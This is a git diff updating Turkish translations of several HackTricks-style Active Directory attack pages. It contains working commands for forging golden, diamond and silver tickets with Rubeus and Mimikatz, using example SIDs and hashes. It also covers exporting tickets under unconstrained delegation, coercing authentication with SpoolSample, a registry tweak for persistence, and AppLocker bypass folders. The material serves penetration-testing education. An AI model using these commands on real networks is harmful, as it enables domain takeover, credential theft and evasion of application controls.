- **Tek bir orman içindeki alan güvenlerine SID Filtreleme uygulamak** önerilmez çünkü bu desteklenmeyen bir yapılandırmadır ve kırıcı değişikliklere neden olabilir. Eğer bir orman içindeki bir alan güvenilir değilse, o ormanın üyesi olmamalıdır. Bu durumda, güvenilir ve güvenilir olmayan alanların ayrı ormanlara bölünmesi ve burada SID Filtrelemenin bir interforest güvenine uygulanması gereklidir.
|
||||
|
||||
Bununla ilgili daha fazla bilgi için bu gönderiyi kontrol edin: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4)
|
||||
|
||||
### Diamond Ticket (Rubeus + KRBTGT-AES256)
|
||||
|
||||
Bunu en son denediğimde **`/ldap`** argümanını eklemem gerekti.
|
||||
```bash
|
||||
# Use the /sids param
|
||||
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap
|
||||
|
||||
# Or a ptt with a golden ticket
|
||||
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
|
||||
## The /printcmd option will print the complete command if later you want to generate a token offline
|
||||
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
|
||||
|
||||
#e.g.
|
||||
|
||||
execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd
|
||||
|
||||
# You can use "Administrator" as username or any other string
|
||||
```
|
||||
### Golden Ticket (Mimikatz) ile KRBTGT-AES256
|
||||
```bash
|
||||
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
|
||||
@ -39,16 +67,7 @@ Daha fazla bilgi için golden ticket'lar hakkında kontrol edin:
|
||||
golden-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### Diamond Ticket (Rubeus + KRBTGT-AES256)
|
||||
```powershell
|
||||
# Use the /sids param
|
||||
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
|
||||
|
||||
# Or a ptt with a golden ticket
|
||||
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
|
||||
|
||||
# You can use "Administrator" as username or any other string
|
||||
```
|
||||
Daha fazla bilgi için diamond ticket'lar hakkında kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
@ -59,7 +78,7 @@ diamond-ticket.md
|
||||
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
|
||||
ls \\mcorp-dc.moneycorp.local\c$
|
||||
```
|
||||
Kompromize edilmiş alanın KRBTGT hash'ini kullanarak root veya Enterprise admin'e yükseltin:
|
||||
Kompromize edilmiş alanın KRBTGT hash'ini kullanarak kök veya Enterprise admin'e yükseltin:
|
||||
```bash
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
|
||||
|
||||
@ -99,14 +118,14 @@ export KRB5CCNAME=hacker.ccache
|
||||
# psexec in domain controller of root
|
||||
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
|
||||
```
|
||||
#### Otomatik olarak [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) kullanarak
|
||||
#### Automatic using [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
|
||||
|
||||
Bu, **çocuk alanından ebeveyn alanına yükselmeyi otomatikleştiren** bir Impacket betiğidir. Betiğin ihtiyaçları:
|
||||
Bu, **çocuk alanından ebeveyn alanına yükseltmeyi otomatikleştiren** bir Impacket betiğidir. Betik şunları gerektirir:
|
||||
|
||||
- Hedef alan denetleyicisi
|
||||
- Çocuk alanındaki bir yönetici kullanıcısı için kimlik bilgileri
|
||||
|
||||
Akış şu şekildedir:
|
||||
Akış şudur:
|
||||
|
||||
- Ebeveyn alanının Enterprise Admins grubunun SID'sini alır
|
||||
- Çocuk alanındaki KRBTGT hesabının hash'ini alır
|
||||
|
||||
@ -6,7 +6,11 @@
|
||||
|
||||
## Silver ticket
|
||||
|
||||
**Silver Ticket** saldırısı, Active Directory (AD) ortamlarında hizmet biletlerinin istismarını içerir. Bu yöntem, **bir hizmet hesabının NTLM hash'ini elde etmeye** dayanır, örneğin bir bilgisayar hesabı, bir Ticket Granting Service (TGS) bileti oluşturmak için. Bu sahte bilet ile bir saldırgan, ağdaki belirli hizmetlere erişebilir, **herhangi bir kullanıcıyı taklit ederek**, genellikle yönetici ayrıcalıkları elde etmeyi hedefler. Biletleri oluştururken AES anahtarlarının kullanılmasının daha güvenli ve daha az tespit edilebilir olduğu vurgulanmaktadır.
|
||||
**Silver Ticket** saldırısı, Active Directory (AD) ortamlarında hizmet biletlerinin istismarını içerir. Bu yöntem, bir Ticket Granting Service (TGS) bileti oluşturmak için **bir hizmet hesabının NTLM hash'ini edinmeye** dayanır; bu, bir bilgisayar hesabı gibi bir hizmet hesabı olabilir. Bu sahte bilet ile bir saldırgan, genellikle yönetici ayrıcalıkları hedefleyerek, ağdaki belirli hizmetlere **herhangi bir kullanıcıyı taklit ederek** erişebilir. Biletleri sahtelemek için AES anahtarlarının kullanılmasının daha güvenli ve daha az tespit edilebilir olduğu vurgulanmaktadır.
|
||||
|
||||
> [!WARNING]
|
||||
> Silver Ticket'lar, yalnızca **hizmet hesabının hash'ini** gerektirdikleri için Golden Ticket'lara göre daha az tespit edilebilirler, krbtgt hesabını gerektirmezler. Ancak, hedefledikleri belirli hizmetle sınırlıdırlar. Ayrıca, sadece bir kullanıcının şifresini çalmak yeterlidir.
|
||||
Ayrıca, bir **hesabın şifresini bir SPN ile ele geçirirseniz**, o şifreyi kullanarak o hizmete herhangi bir kullanıcıyı taklit eden bir Silver Ticket oluşturabilirsiniz.
|
||||
|
||||
Bilet oluşturma için, işletim sistemine bağlı olarak farklı araçlar kullanılmaktadır:
|
||||
|
||||
@ -18,6 +22,11 @@ python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
|
||||
```
|
||||
### Windows'ta
|
||||
```bash
|
||||
# Using Rubeus
|
||||
## /ldap option is used to get domain data automatically
|
||||
## With /ptt we already load the tickt in memory
|
||||
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd
|
||||
|
||||
# Create the ticket
|
||||
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
|
||||
|
||||
@ -53,13 +62,17 @@ CIFS servisi, kurbanın dosya sistemine erişim için yaygın bir hedef olarak
|
||||
- 4634: Hesap Çıkışı
|
||||
- 4672: Yönetici Girişi
|
||||
|
||||
## Süreklilik
|
||||
|
||||
Makinelerin her 30 günde bir şifrelerini değiştirmesini önlemek için `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ayarını yapabilir veya `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` değerini 30 günden daha büyük bir değere ayarlayarak makinelerin şifresinin ne zaman değiştirilmesi gerektiğini belirtebilirsiniz.
|
||||
|
||||
## Hizmet biletlerini kötüye kullanma
|
||||
|
||||
Aşağıdaki örneklerde, biletin yönetici hesabını taklit ederek alındığını varsayalım.
|
||||
|
||||
### CIFS
|
||||
|
||||
Bu bilet ile `C$` ve `ADMIN$` klasörlerine **SMB** üzerinden (eğer açığa çıkmışlarsa) erişim sağlayabilir ve uzaktaki dosya sisteminin bir kısmına dosyaları kopyalayabilirsiniz, sadece şunu yaparak:
|
||||
Bu bilet ile `C$` ve `ADMIN$` klasörlerine **SMB** üzerinden (eğer açığa çıkmışlarsa) erişebilir ve uzaktaki dosya sisteminin bir kısmına dosyaları kopyalayabilirsiniz, sadece şunu yaparak:
|
||||
```bash
|
||||
dir \\vulnerable.computer\C$
|
||||
dir \\vulnerable.computer\ADMIN$
|
||||
@ -97,7 +110,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
|
||||
#You can also use wmic
|
||||
wmic remote.computer.local list full /format:list
|
||||
```
|
||||
Daha fazla bilgi için **wmiexec** hakkında aşağıdaki sayfayı inceleyin:
|
||||
Daha fazla bilgi için **wmiexec** hakkında aşağıdaki sayfaya bakın:
|
||||
|
||||
{{#ref}}
|
||||
../lateral-movement/wmiexec.md
|
||||
@ -126,13 +139,17 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
||||
```
|
||||
**DCSync hakkında daha fazla bilgi edinin** aşağıdaki sayfada:
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
|
||||
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
|
||||
{{#ref}}
|
||||
dcsync.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
|
||||
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,42 +4,49 @@
|
||||
|
||||
## Unconstrained delegation
|
||||
|
||||
Bu, bir Alan Yöneticisinin alan içindeki herhangi bir **Bilgisayar** için ayarlayabileceği bir özelliktir. Daha sonra, bir **kullanıcı Bilgisayara giriş yaptığında**, o kullanıcının **TGT'sinin bir kopyası** DC tarafından sağlanan **TGS'ye gönderilecek** ve **LSASS'ta bellekte saklanacaktır**. Yani, makinede Yönetici ayrıcalıklarınız varsa, **biletleri dökebilir ve kullanıcıları** herhangi bir makinede taklit edebilirsiniz.
|
||||
Bu, bir Alan Yöneticisinin alan içindeki herhangi bir **Bilgisayar** için ayarlayabileceği bir özelliktir. Daha sonra, bir **kullanıcı Bilgisayara giriş yaptığında**, o kullanıcının **TGT'sinin bir kopyası** DC tarafından sağlanan **TGS'ye gönderilecek** ve **LSASS'ta bellekte saklanacaktır**. Bu nedenle, makinede Yönetici ayrıcalıklarınız varsa, **biletleri dökebilir ve kullanıcıları taklit edebilirsiniz**.
|
||||
|
||||
Bu nedenle, "Unconstrained Delegation" özelliği etkinleştirilmiş bir Bilgisayara giriş yapan bir alan yöneticisi varsa ve o makinede yerel yönetici ayrıcalıklarınız varsa, bileti dökebilir ve Alan Yöneticisini her yerde taklit edebilirsiniz (alan privesc).
|
||||
|
||||
Bu **özelliğe sahip Bilgisayar nesnelerini bulabilirsiniz**; [userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>) niteliğinin [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) içerip içermediğini kontrol ederek. Bunu ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’ LDAP filtresi ile yapabilirsiniz; bu, powerview'ün yaptığıdır:
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"># List unconstrained computers
|
||||
```bash
|
||||
# List unconstrained computers
|
||||
## Powerview
|
||||
Get-NetComputer -Unconstrained #DC'ler her zaman görünür ama privesc için faydalı değildir
|
||||
<strong>## ADSearch
|
||||
</strong>ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
|
||||
<strong># Export tickets with Mimikatz
|
||||
</strong>privilege::debug
|
||||
sekurlsa::tickets /export #Tavsiye edilen yol
|
||||
kerberos::list /export #Başka bir yol
|
||||
## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
|
||||
Get-DomainComputer –Unconstrained –Properties name
|
||||
Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
|
||||
|
||||
## ADSearch
|
||||
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
|
||||
|
||||
# Export tickets with Mimikatz
|
||||
## Access LSASS memory
|
||||
privilege::debug
|
||||
sekurlsa::tickets /export #Recommended way
|
||||
kerberos::list /export #Another way
|
||||
|
||||
# Monitor logins and export new tickets
|
||||
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Yeni TGT'ler için her 10 saniyede bir kontrol et</code></pre>
|
||||
|
||||
Yönetici (veya kurban kullanıcının) biletini bellekte **Mimikatz** veya **Rubeus ile** yükleyin [**Pass the Ticket**](pass-the-ticket.md)** için.**\
|
||||
## Doens't access LSASS memory directly, but uses Windows APIs
|
||||
Rubeus.exe dump
|
||||
Rubeus.exe monitor /interval:10 [/filteruser:<username>] #Check every 10s for new TGTs
|
||||
```
|
||||
Yönetici (veya kurban kullanıcı) biletini bellekte **Mimikatz** veya **Rubeus** ile yükleyin **[**Pass the Ticket**](pass-the-ticket.md)**.**\
|
||||
Daha fazla bilgi: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
|
||||
[**Unconstrained delegation hakkında daha fazla bilgi ired.team'de.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
|
||||
[**Ired.team'de Kısıtlanmamış delegasyon hakkında daha fazla bilgi.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
|
||||
|
||||
### **Force Authentication**
|
||||
### **Kimlik Doğrulamayı Zorla**
|
||||
|
||||
Eğer bir saldırgan **"Unconstrained Delegation" için izin verilen bir bilgisayarı ele geçirebilirse**, bir **Yazıcı sunucusunu** **otomatik olarak giriş yapmaya** **kandırabilir** ve bu da sunucunun belleğinde bir TGT **kaydedebilir**.\
|
||||
Daha sonra, saldırgan **Kullanıcı Yazıcı sunucu bilgisayar hesabını taklit etmek için** bir **Pass the Ticket saldırısı** gerçekleştirebilir.
|
||||
Eğer bir saldırgan **"Kısıtlanmamış Delegasyon"** için izin verilen bir bilgisayarı **ele geçirebilirse**, bir **Yazıcı sunucusunu** **otomatik olarak giriş yapmaya** **kandırabilir** ve bu sayede sunucunun belleğinde bir TGT **kaydedebilir**.\
|
||||
Sonrasında, saldırgan kullanıcı Yazıcı sunucu bilgisayar hesabını taklit etmek için **Pass the Ticket saldırısı** gerçekleştirebilir.
|
||||
|
||||
Bir yazıcı sunucusunun herhangi bir makineye giriş yapmasını sağlamak için [**SpoolSample**](https://github.com/leechristensen/SpoolSample) kullanabilirsiniz:
|
||||
```bash
|
||||
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
|
||||
```
|
||||
Eğer TGT bir etki alanı denetleyicisinden geliyorsa, bir[ **DCSync attack**](acl-persistence-abuse/index.html#dcsync) gerçekleştirebilir ve DC'den tüm hash'leri elde edebilirsiniz.\
|
||||
Eğer TGT bir etki alanı denetleyicisinden geliyorsa, [**DCSync attack**](acl-persistence-abuse/index.html#dcsync) gerçekleştirebilir ve DC'den tüm hash'leri elde edebilirsiniz.\
|
||||
[**Bu saldırı hakkında daha fazla bilgi ired.team'de.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
|
||||
|
||||
**Kimlik doğrulamayı zorlamak için diğer yollar:**
|
||||
Burada **kimlik doğrulamayı zorlamak için** diğer yolları bulun:
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
|
||||
@ -4,15 +4,15 @@
|
||||
|
||||
## AppLocker Politikası
|
||||
|
||||
Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya çalıştırılabilir dosyaların listesidir. Amaç, ortamı zararlı kötü amaçlı yazılımlardan ve bir organizasyonun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır.
|
||||
Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya yürütülebilir dosyaların listesidir. Amaç, ortamı zararlı kötü amaçlı yazılımlardan ve bir organizasyonun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır.
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar**. **Çalıştırılabilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri** üzerinde **ince ayar kontrolü** sağlar.\
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar**. Yürütülebilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri üzerinde **ince ayar kontrolü** sağlar.\
|
||||
Organizasyonların **cmd.exe ve PowerShell.exe'yi engellemesi** ve belirli dizinlere yazma erişimi sağlaması yaygındır, **ancak bunların hepsi atlatılabilir**.
|
||||
|
||||
### Kontrol
|
||||
|
||||
Hangi dosyaların/uzantıların kara listeye alındığını/beyaz listeye alındığını kontrol edin:
|
||||
```powershell
|
||||
```bash
|
||||
Get-ApplockerPolicy -Effective -xml
|
||||
|
||||
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
|
||||
@ -26,7 +26,7 @@ Bu kayıt defteri yolu, AppLocker tarafından uygulanan yapılandırmaları ve p
|
||||
|
||||
### Bypass
|
||||
|
||||
- AppLocker Politikasını atlamak için **Yazılabilir klasörler**: Eğer AppLocker `C:\Windows\System32` veya `C:\Windows` içindeki herhangi bir şeyi çalıştırmaya izin veriyorsa, bunu **atlamak** için kullanabileceğiniz **yazılabilir klasörler** vardır.
|
||||
- AppLocker Politikasını atlamak için **Yazılabilir klasörler**: Eğer AppLocker, `C:\Windows\System32` veya `C:\Windows` içindeki herhangi bir şeyi çalıştırmaya izin veriyorsa, bunu **atlamak** için kullanabileceğiniz **yazılabilir klasörler** vardır.
|
||||
```
|
||||
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
|
||||
C:\Windows\System32\spool\drivers\color
|
||||
@ -35,10 +35,10 @@ C:\windows\tracing
|
||||
```
|
||||
- Yaygın olarak **güvenilir** [**"LOLBAS's"**](https://lolbas-project.github.io/) ikili dosyaları, AppLocker'ı atlatmak için de yararlı olabilir.
|
||||
- **Kötü yazılmış kurallar da atlatılabilir**
|
||||
- Örneğin, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, istediğiniz herhangi bir yere **`allowed`** adında bir **klasör oluşturabilirsiniz** ve bu izin verilecektir.
|
||||
- Örneğin, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, istediğiniz herhangi bir yere **`allowed`** adında bir **klasör oluşturabilirsiniz** ve bu izinli olacaktır.
|
||||
- Kuruluşlar genellikle **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** yürütülebilir dosyasını **engellemeye** odaklanır, ancak **diğer** [**PowerShell yürütülebilir konumlarını**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) unutur, örneğin `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` veya `PowerShell_ISE.exe`.
|
||||
- **DLL uygulaması çok nadiren etkinleştirilir** çünkü sistem üzerinde ek bir yük oluşturabilir ve hiçbir şeyin bozulmayacağından emin olmak için gereken test miktarı yüksektir. Bu nedenle, **DLL'leri arka kapı olarak kullanmak AppLocker'ı atlatmaya yardımcı olacaktır**.
|
||||
- Herhangi bir süreçte **Powershell** kodunu **çalıştırmak** ve AppLocker'ı atlatmak için [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanabilirsiniz. Daha fazla bilgi için kontrol edin: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanarak **Powershell** kodunu herhangi bir süreçte çalıştırabilir ve AppLocker'ı atlatabilirsiniz. Daha fazla bilgi için kontrol edin: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
|
||||
## Kimlik Bilgileri Depolama
|
||||
|
||||
@ -49,23 +49,23 @@ Yerel kimlik bilgileri bu dosyada mevcuttur, şifreler hashlenmiştir.
|
||||
### Yerel Güvenlik Otoritesi (LSA) - LSASS
|
||||
|
||||
**Kimlik bilgileri** (hashlenmiş) bu alt sistemin **belleğinde** **kaydedilir**.\
|
||||
**LSA**, yerel **güvenlik politikasını** (şifre politikası, kullanıcı izinleri...), **kimlik doğrulama**, **erişim belirteçleri**... yönetir.\
|
||||
LSA, sağlanan kimlik bilgilerini **SAM** dosyasında (yerel giriş için) **kontrol eden** ve bir alan kullanıcısını kimlik doğrulamak için **alan denetleyicisi** ile **konuşan** olacaktır.
|
||||
**LSA**, yerel **güvenlik politikasını** (şifre politikası, kullanıcı izinleri...), **kimlik doğrulama**, **erişim jetonları**... yönetir.\
|
||||
LSA, sağlanan kimlik bilgilerini **SAM** dosyasında (yerel giriş için) **kontrol edecek** ve bir alan kullanıcısını kimlik doğrulamak için **alan denetleyicisi** ile **iletişim kuracaktır**.
|
||||
|
||||
**Kimlik bilgileri**, **işlem LSASS** içinde **kaydedilir**: Kerberos biletleri, NT ve LM hashleri, kolayca çözülebilen şifreler.
|
||||
|
||||
### LSA gizli bilgileri
|
||||
|
||||
LSA, diskte bazı kimlik bilgilerini kaydedebilir:
|
||||
LSA, diske bazı kimlik bilgilerini kaydedebilir:
|
||||
|
||||
- Etki Alanı Denetleyicisi'ne (ulaşılamayan) ait bilgisayar hesabının şifresi.
|
||||
- Aktif Dizin'in bilgisayar hesabının şifresi (ulaşılamayan alan denetleyicisi).
|
||||
- Windows hizmetlerinin hesaplarının şifreleri
|
||||
- Zamanlanmış görevler için şifreler
|
||||
- Daha fazlası (IIS uygulamalarının şifresi...)
|
||||
|
||||
### NTDS.dit
|
||||
|
||||
Bu, Active Directory'nin veritabanıdır. Sadece Alan Denetleyicileri'nde mevcuttur.
|
||||
Bu, Aktif Dizin'in veritabanıdır. Sadece Alan Denetleyicileri'nde mevcuttur.
|
||||
|
||||
## Defender
|
||||
|
||||
@ -103,14 +103,14 @@ sc query windefend
|
||||
```
|
||||
## Şifreli Dosya Sistemi (EFS)
|
||||
|
||||
EFS, dosyaları **simetrik anahtar** olan **Dosya Şifreleme Anahtarı (FEK)** ile şifreleyerek güvence altına alır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifrelenmiş dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının ilgili **özel anahtarı** $EFS akışından FEK'yi çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir.
|
||||
EFS, dosyaları **şifreleme** yoluyla güvence altına alır ve **Dosya Şifreleme Anahtarı (FEK)** olarak bilinen **simetrik anahtar** kullanır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifreli dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının karşılık gelen **özel anahtarı** $EFS akışından FEK'yi çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir.
|
||||
|
||||
**Kullanıcı başlatması olmadan şifre çözme senaryoları** şunları içerir:
|
||||
|
||||
- Dosyalar veya klasörler, [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) gibi bir EFS dosya sistemine taşındığında, otomatik olarak şifreleri çözülür.
|
||||
- SMB/CIFS protokolü üzerinden ağda gönderilen şifreli dosyalar, iletimden önce şifreleri çözülür.
|
||||
|
||||
Bu şifreleme yöntemi, sahibine şifreli dosyalara **şeffaf erişim** sağlar. Ancak, sahibin şifresini değiştirmek ve oturum açmak, şifre çözmeyi sağlamaz.
|
||||
Bu şifreleme yöntemi, sahibine şifreli dosyalara **şeffaf erişim** sağlar. Ancak, sahibin şifresini değiştirmek ve oturum açmak, şifre çözme izni vermez.
|
||||
|
||||
**Ana Noktalar**:
|
||||
|
||||
@ -130,7 +130,7 @@ Ayrıca, bir klasör içinde `cipher /e` ve `cipher /d` komutlarını kullanarak
|
||||
|
||||
#### Yetki Sistemi Olmak
|
||||
|
||||
Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** çalıştırmasını gerektirir. Eğer durum buysa, `meterpreter` oturumları kullanarak kullanıcının işlem token'ını taklit edebilirsiniz (`impersonate_token` from `incognito`). Ya da sadece kullanıcının işlemine `migrate` yapabilirsiniz.
|
||||
Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** çalıştırmasını gerektirir. Eğer durum buysa, `meterpreter` oturumları kullanarak kullanıcının işlem token'ını taklit edebilirsiniz (`incognito`'dan `impersonate_token`). Ya da sadece kullanıcının işlemine `migrate` yapabilirsiniz.
|
||||
|
||||
#### Kullanıcının şifresini bilmek
|
||||
|
||||
@ -143,12 +143,12 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
Microsoft, IT altyapılarındaki hizmet hesaplarının yönetimini basitleştirmek için **Grup Yönetilen Hizmet Hesapları (gMSA)** geliştirmiştir. Geleneksel hizmet hesaplarının genellikle "**Şifre asla süresi dolmaz**" ayarı etkinken, gMSA'lar daha güvenli ve yönetilebilir bir çözüm sunar:
|
||||
|
||||
- **Otomatik Şifre Yönetimi**: gMSA'lar, alan veya bilgisayar politikasına göre otomatik olarak değişen karmaşık, 240 karakterli bir şifre kullanır. Bu süreç, Microsoft'un Anahtar Dağıtım Servisi (KDC) tarafından yönetilir ve manuel şifre güncellemeleri gereksiz hale gelir.
|
||||
- **Geliştirilmiş Güvenlik**: Bu hesaplar kilitlenmelere karşı bağışık olup, etkileşimli oturum açmak için kullanılamaz, böylece güvenliklerini artırır.
|
||||
- **Gelişmiş Güvenlik**: Bu hesaplar kilitlenmelere karşı bağışık olup, etkileşimli oturum açmak için kullanılamaz, bu da güvenliklerini artırır.
|
||||
- **Birden Fazla Ana Bilgisayar Desteği**: gMSA'lar, birden fazla ana bilgisayar arasında paylaşılabilir, bu da onları birden fazla sunucuda çalışan hizmetler için ideal hale getirir.
|
||||
- **Zamanlanmış Görev Yeteneği**: Yönetilen hizmet hesaplarının aksine, gMSA'lar zamanlanmış görevlerin çalıştırılmasını destekler.
|
||||
- **Basitleştirilmiş SPN Yönetimi**: Sistem, bilgisayarın sAMaccount ayrıntıları veya DNS adı değiştiğinde Hizmet Prensip Adını (SPN) otomatik olarak güncelleyerek SPN yönetimini basitleştirir.
|
||||
|
||||
